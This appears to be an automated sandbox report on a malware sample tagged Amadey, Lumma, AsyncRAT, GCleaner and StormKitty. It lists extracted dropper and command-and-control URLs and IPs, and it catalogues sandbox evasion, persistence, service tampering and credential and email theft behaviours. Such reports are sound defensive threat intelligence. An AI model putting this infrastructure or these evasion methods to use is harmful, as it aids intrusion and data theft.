amadey | d447b04f9c9dbffdb5354b291419832ece0bdce3aa4e4901f19cc64b29584db5

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2025, 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

5.4MB
MD5

c824c9a00485e06d549705759f6b966d
SHA1

0def975a781f5efb73736469572d4ca41367c243
SHA256

d447b04f9c9dbffdb5354b291419832ece0bdce3aa4e4901f19cc64b29584db5
SHA512

85c1c2d1a85840bda342152d40fb724d336c4ee680abd426a31591aedb48ab051915f597415ae849a09b5c0f69ef9c07bfab528a34082dc35375d2248661753e
SSDEEP

98304:A2Uk/G0QlPp+rx5EjcVSHwyLgcvPnWHPve6JdODjDXJjkDGDRwEfKiCugVFUb6Rq:F+dp+rbEjcUH9LgcXnWvve6fsDX3fGud

Score

10^/10

amadey asyncrat gcleaner lumma stormkitty 092155 collection defense_evasion discovery execution exploit loader persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://pirtyoffensiz.bet/api

https://luncertainyelemz.bet/api

https://hobbyedsmoker.live/api

https://dsfljsdfjewf.info/api

https://gdeaddereaste.today/api

https://subawhipnator.life/api

https://fprivileggoe.live/api

https://decreaserid.world/api

https://pastedeputten.life/api

https://synmedsp.live/lzkdj

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://sspacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://0scenarisacri.top/gHSAYuqo

https://njrxsafer.top/shpaoz

Extracted

Family

gcleaner

185.156.73.98

45.91.200.135

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 3 IoCs

resource	yara_rule
behavioral1/memory/1472-94-0x0000000000400000-0x000000000073E000-memory.dmp	family_stormkitty
behavioral1/files/0x00090000000241a4-973.dat	family_stormkitty
behavioral1/memory/1852-989-0x0000000000BC0000-0x0000000000BFC000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	32e25fa3a5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1S36k2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2O5129.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	be159e18fb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE

Blocklisted process makes network request 1 IoCs

flow	pid	Process
96	4268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4268	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 14 IoCs

flow	pid	Process
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
35	1316	rapes.exe
130	1316	rapes.exe
130	1316	rapes.exe
130	1316	rapes.exe
130	1316	rapes.exe
96	4268	powershell.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4636	takeown.exe
2288	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1S36k2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1S36k2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2O5129.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2O5129.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	be159e18fb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	32e25fa3a5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	be159e18fb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	32e25fa3a5.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	262.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	larBxd7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	1S36k2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	262.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	larBxd7.exe

Executes dropped EXE 32 IoCs

pid	Process
4228	K3w02.exe
4776	1S36k2.exe
1316	rapes.exe
3032	2O5129.exe
4300	rapes.exe
4560	neww.exe
4284	neww.exe
2816	larBxd7.exe
2328	QWWouxX.exe
1188	Jordan.com
4328	ICQ0sog.exe
5012	apple.exe
1136	262.exe
4840	262.exe
4676	qhjMWht.exe
1848	b7b0a0b8d2.exe
4316	rapes.exe
2220	be159e18fb.exe
3784	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
2524	5ca174ac3b.exe
3012	svchost015.exe
4704	32e25fa3a5.exe
4424	svchost015.exe
208	qhjMWht.exe
5040	ICQ0sog.exe
2312	larBxd7.exe
1852	Yhihb8G.exe
3084	Jordan.com
2324	9sWdA2p.exe
4476	TbV75ZR.exe
3404	7IIl2eE.exe
4296	UZPt0hR.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	2O5129.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	be159e18fb.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	32e25fa3a5.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	1S36k2.exe

Loads dropped DLL 9 IoCs

pid	Process
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe
4284	neww.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4636	takeown.exe
2288	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Yhihb8G.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Yhihb8G.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Yhihb8G.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	random.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	K3w02.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
131	ipinfo.io
132	ipinfo.io

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000b00000002418a-550.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
3816	tasklist.exe
760	tasklist.exe
180	tasklist.exe
1712	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4776	1S36k2.exe
1316	rapes.exe
3032	2O5129.exe
4300	rapes.exe
4316	rapes.exe
2220	be159e18fb.exe
3784	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
4704	32e25fa3a5.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4284 set thread context of 1472	4284	neww.exe	120
PID 4328 set thread context of 2408	4328	ICQ0sog.exe	141
PID 2524 set thread context of 3012	2524	5ca174ac3b.exe	223
PID 4704 set thread context of 4424	4704	32e25fa3a5.exe	225
PID 5040 set thread context of 2712	5040	ICQ0sog.exe	231
PID 4476 set thread context of 3776	4476	TbV75ZR.exe	261

Drops file in Windows directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File created	C:\Windows\Tasks\rapes.job	1S36k2.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2368	sc.exe
1512	sc.exe
3312	sc.exe
3876	sc.exe
4396	sc.exe
3832	sc.exe
960	sc.exe
5036	sc.exe
2088	sc.exe
208	sc.exe
2268	sc.exe
1936	sc.exe
736	sc.exe
4508	sc.exe
400	sc.exe
1432	sc.exe
1216	sc.exe
2032	sc.exe
1832	sc.exe
5064	sc.exe
644	sc.exe
8	sc.exe
4368	sc.exe
4060	sc.exe
1996	sc.exe
4984	sc.exe
2496	sc.exe
2712	sc.exe
1700	sc.exe
3380	sc.exe
2912	sc.exe
1976	sc.exe
848	sc.exe
4160	sc.exe
1712	sc.exe
5032	sc.exe
1340	sc.exe
3676	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3032	1472	WerFault.exe	120
1644	1852	WerFault.exe	241

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5ca174ac3b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QWWouxX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be159e18fb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b7b0a0b8d2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1S36k2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Jordan.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2O5129.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	32e25fa3a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Jordan.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	K3w02.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Yhihb8G.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3456	cmd.exe
4992	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Yhihb8G.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Yhihb8G.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
916	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
848	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4776	1S36k2.exe
4776	1S36k2.exe
1316	rapes.exe
1316	rapes.exe
3032	2O5129.exe
3032	2O5129.exe
4300	rapes.exe
4300	rapes.exe
2328	QWWouxX.exe
2328	QWWouxX.exe
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
2328	QWWouxX.exe
2328	QWWouxX.exe
2328	QWWouxX.exe
2328	QWWouxX.exe
2408	MSBuild.exe
2408	MSBuild.exe
2408	MSBuild.exe
2408	MSBuild.exe
4676	qhjMWht.exe
4676	qhjMWht.exe
4268	powershell.exe
4676	qhjMWht.exe
4676	qhjMWht.exe
4676	qhjMWht.exe
4676	qhjMWht.exe
4268	powershell.exe
4316	rapes.exe
4316	rapes.exe
2220	be159e18fb.exe
2220	be159e18fb.exe
2220	be159e18fb.exe
2220	be159e18fb.exe
2220	be159e18fb.exe
2220	be159e18fb.exe
3784	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
3784	TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
4704	32e25fa3a5.exe
4704	32e25fa3a5.exe
2712	MSBuild.exe
2712	MSBuild.exe
2712	MSBuild.exe
2712	MSBuild.exe
208	qhjMWht.exe
208	qhjMWht.exe
208	qhjMWht.exe
208	qhjMWht.exe
208	qhjMWht.exe
208	qhjMWht.exe
1852	Yhihb8G.exe
1852	Yhihb8G.exe
3084	Jordan.com
3084	Jordan.com
3084	Jordan.com
3084	Jordan.com

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeRestorePrivilege	4284	neww.exe
Token: SeBackupPrivilege	4284	neww.exe
Token: SeDebugPrivilege	4284	neww.exe
Token: SeDebugPrivilege	1472	AddInProcess32.exe
Token: SeIncreaseQuotaPrivilege	1472	AddInProcess32.exe
Token: SeSecurityPrivilege	1472	AddInProcess32.exe
Token: SeTakeOwnershipPrivilege	1472	AddInProcess32.exe
Token: SeLoadDriverPrivilege	1472	AddInProcess32.exe
Token: SeSystemProfilePrivilege	1472	AddInProcess32.exe
Token: SeSystemtimePrivilege	1472	AddInProcess32.exe
Token: SeProfSingleProcessPrivilege	1472	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	1472	AddInProcess32.exe
Token: SeCreatePagefilePrivilege	1472	AddInProcess32.exe
Token: SeBackupPrivilege	1472	AddInProcess32.exe
Token: SeRestorePrivilege	1472	AddInProcess32.exe
Token: SeShutdownPrivilege	1472	AddInProcess32.exe
Token: SeDebugPrivilege	1472	AddInProcess32.exe
Token: SeSystemEnvironmentPrivilege	1472	AddInProcess32.exe
Token: SeRemoteShutdownPrivilege	1472	AddInProcess32.exe
Token: SeUndockPrivilege	1472	AddInProcess32.exe
Token: SeManageVolumePrivilege	1472	AddInProcess32.exe
Token: 33	1472	AddInProcess32.exe
Token: 34	1472	AddInProcess32.exe
Token: 35	1472	AddInProcess32.exe
Token: 36	1472	AddInProcess32.exe
Token: SeIncreaseQuotaPrivilege	1472	AddInProcess32.exe
Token: SeSecurityPrivilege	1472	AddInProcess32.exe
Token: SeTakeOwnershipPrivilege	1472	AddInProcess32.exe
Token: SeLoadDriverPrivilege	1472	AddInProcess32.exe
Token: SeSystemProfilePrivilege	1472	AddInProcess32.exe
Token: SeSystemtimePrivilege	1472	AddInProcess32.exe
Token: SeProfSingleProcessPrivilege	1472	AddInProcess32.exe
Token: SeIncBasePriorityPrivilege	1472	AddInProcess32.exe
Token: SeCreatePagefilePrivilege	1472	AddInProcess32.exe
Token: SeBackupPrivilege	1472	AddInProcess32.exe
Token: SeRestorePrivilege	1472	AddInProcess32.exe
Token: SeShutdownPrivilege	1472	AddInProcess32.exe
Token: SeDebugPrivilege	1472	AddInProcess32.exe
Token: SeSystemEnvironmentPrivilege	1472	AddInProcess32.exe
Token: SeRemoteShutdownPrivilege	1472	AddInProcess32.exe
Token: SeUndockPrivilege	1472	AddInProcess32.exe
Token: SeManageVolumePrivilege	1472	AddInProcess32.exe
Token: 33	1472	AddInProcess32.exe
Token: 34	1472	AddInProcess32.exe
Token: 35	1472	AddInProcess32.exe
Token: 36	1472	AddInProcess32.exe
Token: SeDebugPrivilege	3816	tasklist.exe
Token: SeDebugPrivilege	760	tasklist.exe
Token: SeDebugPrivilege	4268	powershell.exe
